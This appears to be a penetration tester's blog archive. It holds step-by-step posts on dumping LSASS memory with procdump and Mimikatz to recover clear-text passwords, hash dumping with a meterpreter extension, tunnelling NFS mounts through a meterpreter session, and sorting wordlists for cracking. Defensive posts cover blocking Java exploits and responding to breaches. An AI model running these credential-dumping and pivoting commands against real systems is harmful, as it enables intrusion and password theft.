Room362.com

Blatherings of a security addict.

Using Mimikatz Alpha or Getting Clear Text Passwords With a Microsoft Tool

| Comments

Mimikatz is now built into Metasploit’s meterpreter, you can do load mimikatz from the meterpreter prompt, but if you don’t want to go through the hassle of dealing with AV, reverse or bind payloads, meterpreter binaries, and you have clear text credentials for an admin, you can just use Mimikatz’s alpha release that allows you to run Mimikatz on your machine against a process memory dump of LSASS. The great thing about this technique is that the only thing on disk is a Microsoft tool.

Mimikatz Minidump: http://blog.gentilkiwi.com/securite/mimikatz/minidump

Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Lets start. First we make sure our authentication works against the box and we can look inside of C$ (usually only admins can)

1
2
net use \\TARGETBOXC$ /user:DOMAIN\serviceaccount serviceaccount123
dir \\TARGETBOX\C$

If that works then we want to check that we can all the “AT” command on the remote host:

1
at \\TARGETBOX

All set. Next lets prep our workspace on the remote host. We are using the C:\Temp directory.

1
2
3
4
mkdir \\TARGETBOX\C$\Temp
dir \\TARGETBOX\C$\Temp
copy c:\temp\procdump.exe \\TARGETBOXC$
copy c:\temp\procdump.bat \\TARGETBOXC$

The contents of procdump.bat are:

1
2
@echo off
C:\temp\procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp

I’m using the computer name in the memory dump name to help me keep track of where the dump came from, but also help me notice when I’ve dumped more than one IP that is actually the same host.

Next we schedule the task. Use net time to determine the local time for the remote machine.

1
2
net time \\TARGETBOX
at \\TARGETBOX 13:52 C:\Temp\procdump.bat

Pull down the file and clean up:

1
2
3
dir \\TARGETBOX\C$\Temp
copy \\TARGETBOX\C$\Temp\*lsass.dmp C:\temp\output\
rmdir /s \\TARGETBOX\C$\Temp

On your side the only thing you need to make sure is that you are running Mimikatz on a similar version and architecture you pulled from. Use the following url for reference:http://blog.gentilkiwi.com/wp-content/uploads/2013/04/minidump_matrix.png

Load up the Alpha version of Mimikatz, switch it to minidump mode and you’re dumping creds:

1
2
3
4
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords full

Thats it. Password dumping without ever using a “Hacker” tool on target. Much love Microsoft. And even more to Mimikatz creator @gentilkiwi – Benjamin Delpy for both this alpha release and changing his licensing to allow Mimikatz code to be integrated into Meterpreter.

Sessiondump Meterpreter Extension

| Comments

Mimikatz is awesome right, so is WCE. But both have one fatal flaw, even though you can execute them in memory {link} – you still have to have the binaries, remember the command to execute it in memory, and ultimately transfer the entire binary over so that metasploit can do its thing.

Then along came SessionDump. I only noticed this because someone was tweeting congratulations to someone on writing it:

No blog post or huge Vegas lights talk on it at DefCon or Blackhat. Just posted online in a corner of the Internet:

http://www.hsc.fr/ressources/outils/sessiondump/

Before we get started lets be clear about one thing. Sessiondump while awesome doesn’t do everything that Mimikatz does. However, it does do the feature of mimikatz that I do use the most, the logged on user hash dumping as well as the wdigest clear text password dumping. It does this as a Meterpreter extension that operates using reflective DLL injection. Does that solve our minor issues we had with mimikatz, as of right now, only partially. This code was simply posted online, not in a pull request or submitted to Metasploit in any way. So you still have to have the binary + code. What about the remembering, surely it makes it so I can just tab complete my way to passwords right? Yup, it does, but until/if it is in the Metasploit trunk you will still have to remember how to get it installed (which we will go over in a bit). The final question is yes it does still transfer a complete DLL over to the host same as any of the other extensions (not to disk mind you, just memory),.

Without further ado lets go ahead and get the file and do a bunch of extracting. 

And finally placing everything in it’s correct place, which was nice of the author to make easy by making the archive the same as the Metasploit directory structure:

Cool, everything should be good to go. Lets use this thing. I’m using psexec to get a shell but any way you get a windows native meterpreter fine, with one caveat, and its the same as with any of the other aforementioned tools. You need to be Admin (past UAC, w/ SeDebug privilege) or NT\AUTHORITY SYSTEM.  After that it’s cake, load the extension:

Here is the available commands:

And run getHashes:

or getwDigestPasswords:

Thats is, you free passwords, YAY…

Possible issues you may run into:

  • If you are on a x64 box and meterpreter isn’t running in a x64 process it will fail saying that it doesn’t have the correct version offsets, here is how you can check:

x64 system and Meterpreter is x86/win32. Lets find a good process to migrate into and kick it from there. Winlogon isn’t the greatest choices since if meterpreter decides to crash it during migration then the system will go down, whereas a service running as SYSTEM will probably just restart if something fails.

  • If by any chance you are running it against a system the author hasn’t gotten the offsets for. I don’t’ have a screenshot for this one because he covers all the languages I have CMs for, but the author was awesome enough to include a few python scripts that can help you generate the correct offsets. I’ll show you by running it on my lsass and widgets.dll files even though he already has this data included in the CSV file that comes with session dump.

Thats all for now folks, may the shells be with you.

Length Sorting Wordlists

| Comments

This is one of those stupid simple things that are easy to forget so I’m posting it here. Wordlists and dictionaries are awesome for cracking password hashes, and although, thanks to things like Mimikatz and WCE I don’t have to, but there is times where it’s important.

Now, having John, Hashcat, or Cain go through a dictionary is a 1-for-1 hit, no time wasted no matter how it’s sorted and usually is best to sort them by most common first so you get earlier hits. However, if you start throwing rules into the mix that equation changes. If you have “iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii” on the 3rd line of your dictionary, testing every possible permutation where you replace an ‘i’ with a 1 is going to take a very long time.

Both Hashcat and John deal with this by limiting the length where permutations occur. (HC/JTR peeps please correct me if I’m wrong). Cain on the other hand, will try every possibility and hang on the 3rd line for years (over exagerated). How do you solve that? Easy, remove any word over a certain length. While that does work, and very similar to what the HC/JTR do, I don’t like loosing words from my dictionary, so I tend to sort them by length. That way, all the nasty ones are near the end and I can scale back the rules on them.

To do that is very simple:

1
awk '{print length, $0}' rockyou.txt | sort -n | cut -d " " -f2- > rockyou_ls.txt

Thats it. Basic, simple and stored here for reference.

Mounting NFS Shares Through Meterpreter With NfSpy

| Comments

You’ve found an NFS share on a pentest, it’s sharing out your target’s home directories (/home) and some SAN with all of the Windows AD users “home” directories under /volumes/users/. You only have a meterpreter session though… enough back story, problem is that Metasploit doesn’t really have any auxiliary modules or otherwise to access the things on those shares. Please correct me if I’m wrong, but there also aren’t any tools for talking to NFS shares over TCP only proxies.

Enter NfSpy: https://github.com/bonsaiviking/NfSpy

While it’s original intent was aide in bypassing NFS security controls it has the right amount of options to make mounting NFS over Meterpreter possible.

First we setup up our route so that the aux module will go over the meterpreter session:

1
route add 192.168.1.0 255.255.255.0 1

The 1 on the end being the meterpreter session number it’s going to be going through. Next up is to find out what exports are available:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > show options

Module options (auxiliary/scanner/nfs/nfsmount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    111              yes       The target port
   THREADS  1                yes       The number of concurrent threads<

msf auxiliary(nfsmount) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(nfsmount) > run
[+] 192.168.1.50 NFS Export: /home [192.168.1.0/24]
[+] 192.168.1.50 NFS Export: /volume/users [192.168.1.0/24]

Looks like access is restricked by IP range, but luckily the victim is in said range. The final piece of information we need is the TCP port(s) that mountd is listening on. There is a metasploit module that can help use there too:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf > use auxiliary/scanner/misc/sunrpc_portmapper
msf auxiliary(sunrpc_portmapper) > show options

Module options (auxiliary/scanner/misc/sunrpc_portmapper):

   Name     Current Setting  Required  Description<
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    111              yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(sunrpc_portmapper) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(sunrpc_portmapper) > run

[+] 192.168.1.50 - Programs available
        rpcbind - 111/tcp
        rpcbind - 111/udp
        status - 46797/udp
        status - 55731/tcp
        nfs - 2049/tcp
        nfs_acl - 2049/tcp
        nfs - 2049/udp
        nfs_acl - 2049/udp
        nlockmgr - 54167/udp
        nlockmgr - 38216/tcp
        mountd - 52569/udp<
        mountd - 37719/tcp
        mountd - 39099/udp
        mountd - 55763/tcp
        mountd - 37808/udp
        mountd - 54457/tcp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Cool, so lets target /home first with the mountd tcp port of 37719. Keeping our route where it is we set up Metasploit’s socks proxy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The address to listen on
  SRVPORT  1080             yes       The port to listen on.

msf auxiliary(socks4a) > set SRVPORT 9050
SRVPORT => 9050
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

I chose 9050 as my SRVPORT since I have proxychains already set up for that port (ala tor) and I highly recommend setting the SRVHOST to 127.0.0.1, unless you either firewall that port off from the Internet or don’t mind having the Anons of the world surf through your meterpreter session into your clients.

Next up it actually using nfspy (create or prep a directory so you can mount it first):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount
ProxyChains-3.1 (http://proxychains.sf.net)
FUSE library version: 2.8.6
nullpath_ok: 0
unique: 1, opcode: INIT (26), nodeid: 0, insize: 56
INIT: 7.16
flags=0x0000007b
max_readahead=0x00020000
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:37719-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:2049-<><>-OK
  INIT: 7.12
  flags=0x00000011
  max_readahead=0x00020000
  max_write=0x00020000
  unique: 1, success, outsize: 40

proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount

Lets break that command down. Proxychains will wrap nfspy so that it goes through our Metasploit Socks4a proxy. The -d tells NfSpy to stay in the foreground, and -o for options. Server is our target IP, only use a hostname if your attacker box can resolve it to the right IP. The export we found with the Metasploit module is up next, and the default NFS port of 2049. The mountport option is from the port mapper Metasploit module. Both of these port options be sure you specify the /tcp or you’ll just be waiting as there isn’t really a time out and Proxychains doesn’t show UDP attempts. RW for read-write and finally the location to mount to.

If you see that second proxychains request for port 2049 it is usually a good indicator that it worked, if not you have probably run into anything from a permissions issue to a local mount problem. NfSpy uses fuse which can be really silent when problems arrise or give errors that tell you nothing meaningful. Thats why I’m using the -d option that keeps nfspy in the foreground, just so I can detect any issues. Lets see if that worked:

1
2
3
4
5
ls /root/nfspy/mount
user1
user2
user3
user4

Remember, big directories might take a while to navigate being tunneled like this. Here is the output from the ls on the nfspy side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unique: 166, opcode: OPENDIR (27), nodeid: 34, insize: 48
   unique: 166, success, outsize: 32
unique: 167, opcode: READDIR (28), nodeid: 34, insize: 80
readdir[0] from 0
   unique: 167, success, outsize: 208
unique: 168, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user3
getattr /home/user3
   NODEID: 40
   unique: 168, success, outsize: 144
unique: 169, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user1
getattr /home/user1
   NODEID: 41
   unique: 169, success, outsize: 144
unique: 170, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user4
getattr /home/user4
   NODEID: 42
   unique: 170, success, outsize: 144
unique: 171, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user2
getattr /home/user2
   NODEID: 43
   unique: 171, success, outsize: 144

Thats it. You can mount read-write (rw) or read-only (ro) depending on what you want to do and how quiet you want to be.

Last note, you can’t just CTRL-C an nfspy mount, you need to use fusermount -u /root/nfspy/mount to kill it. It’s another fuse issue. If anyone has a better way to do this I’m all ears.

Suggestions on What to Do When a Service You Use Gets Compromised

| Comments

It seems like every week there is a new compromise of some service or another. But as a user what are you supposed to do with this knowledge? Here are some suggestions on things to do or think about when reacting:

  1. Do you use the password you use there anywhere else?
  2. Think about starting to use a password manager like LastPass, 1Password, KeePass, or a product like Yubico. This way you can very easily use different passwords for different sites.
  3. Sit down and and start changing every where you use that password. Not just web sites, any machines (your work account) or applications are also possible targets. Start with the sites, machines, and applications that are most sensitive to you.
  4. It’s ok to have a hand written list of passwords for sites. One of my favorite suggestions is to take your drivers license or business card and generate passwords by using every X character on the license and base the X number on the how many letters are in the website. So you use every 6th character for Google.
  5. It is NOT ok to store your passwords for anything in a Excel, Word or Text document. These are easy pickings for hackers and almost always targeted.
  6. Again, think about using a password manager

Do NOT change your password on the affected site or service immediately. You may never know the extent of the compromise but if the company says anything to the effect of “still under investigation” or “preliminary results”, there is a chance that the attacker has also compromised the password reset mechanism so changing your password would just give the attacker the new one you have elected.

Do NOT stop using the service, if they have made it public that they were compromised, especially if they come out with the information first, the company is one of the few that take their dedication to their users seriously. If anything it’s a positive (that they came out and said something, not that they were compromised). Very few companies are open about such things as it happens much more often than people want to admit to.

Got other suggestions for people on how to handle such news? Leave a comment and I’ll include it in the main post with attribution.

Blocking Java Exploits, Malicious Signed Applets, and 0days

| Comments

The following has been a concept for me for a long time and recently I tweeted the idea which really put me under the fire to prove it. (re: justanidea hashtag)

And a few people came up with some very valid points:

1) Doesn’t work so well with HTTPS sites

He’s right, but that forces the attack to use SSL, and doing so can yield the defender more information about the attacker, and offer other avenues of defense.

2) Can’t an attack just spoof the user-agent?

and a response:

But in actuality that setting is applied inside the Java code, which needs to be requested by Java first. Using it’s User-Agent string. There are probably ways to get this done with Java script or other methods of loading the Java classes/jars but I haven’t been able to find any.

and finally 3) Whitelisting is a myth!

Which goes along with phoobar’s responses as well:

Yes, there will definitely be challenge when implementing blocking java user agents, and one of the biggest pit falls is that there is no clear indicators to a user that that’s the reason for the block. There are ways to make it more evident with custom proxy error pages, but it is a thorn in this solution.

On to the walking of the walk. Oddly enough there is little to no documentation on blocking or even detecting outbound user-agent strings. But I did happen across an excellent post about how to use Squid to block IE (which I’m all for! ;–):

http://gaugusch.at/squid.shtml

The following is just my testing of his walk-through converted to be used to block java:

I used pfSense for my testing since it’s very easy to set up and already has Squid as a package:

You get the point.

We set up the latest Java 0day in Metasploit:

Get the user to go to our malicious web site:

And the user doesn’t see anything. This can be modified in the module. You also see that I was using “Intranet” IP space so some IE settings were lower, but nothing that would effect this exploit.

And shell! I want to pull your attention to that YWpdDan.jar request though. That request actually is done by Java with the following user-agent:

"Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_09"

Alright, so the exploit works, but how about the solution? In pfSense you have the ability to slam “Custom Options” into the bottom of pfSense’s Squid config page. Like so:

There is probably a better regex for selecting only Java user-agents, but this worked for now, and I don’t think any browsers actually use “Java” in their user-agents. (UPDATE: Searching for “site:useragentstring.com java” on google only yielded Java, and YACYBOT, which is built on java as using the string “Java” in their agents)

You can also notice that I’ve whitelisted webex.com and java.com sites and subdomains so that my “users” won’t get blocked using the tools on those sites. This could be pretty hefty with (as phoobar said) a Java dev group. But after the initial push and getting a semi “required” list of external approved sites this list shouldn’t need much upgrading, even for large organizations.

Save the config and let’s see how this works out:

Ok, but did the attacker still get a shell?

Nope! Win!

Just to prove that HTTPS isn’t fixed here lets set those options up in Metasploit and kick the same exploit:

And after an error about a self-signed cert (notice the SSLCert option in Metasploit that has the ability to solve that as well) we get the expected result:

And subsequent shell without any indication in Squid’s proxy logs of a Java user-agent:

That’s it, sort of a long post but hopefully something that people can use. Thanks!

UPDATE: I’m not exactly certain how this affects Java “Web Start” weblet exploits if at all.

Compile NFSShell on Ubuntu

| Comments

This is here because I always forget how to do it

  1. sudo apt-get install libtirpc-dev libncurses-dev
  2. wget http://www.cs.vu.nl/pub/leendert/nfsshell.tar.gz
  3. tar zxvf nfsshell.tar.gz
  4. cd nfs
  5. ln -s /usr/include/tirpc/rpc/clnt_soc.h /usr/include/rpc/clnt_soc.h
  6. perl -p -i.orig -e 's/getline/getline_nfs/' nfs.c

Next part I don’t have a good way to automate. You need to go in and comment out (w/ #) the 4 lines following “uncomment the following 4 lines for Solaris 2.x” and uncomment the 2 lines following “For GNU readline support you need to add”

After that a simple “make” should get you ./nfs sitting there for your use.

Will probably make a repo out of this so I don’t have to keep doing it..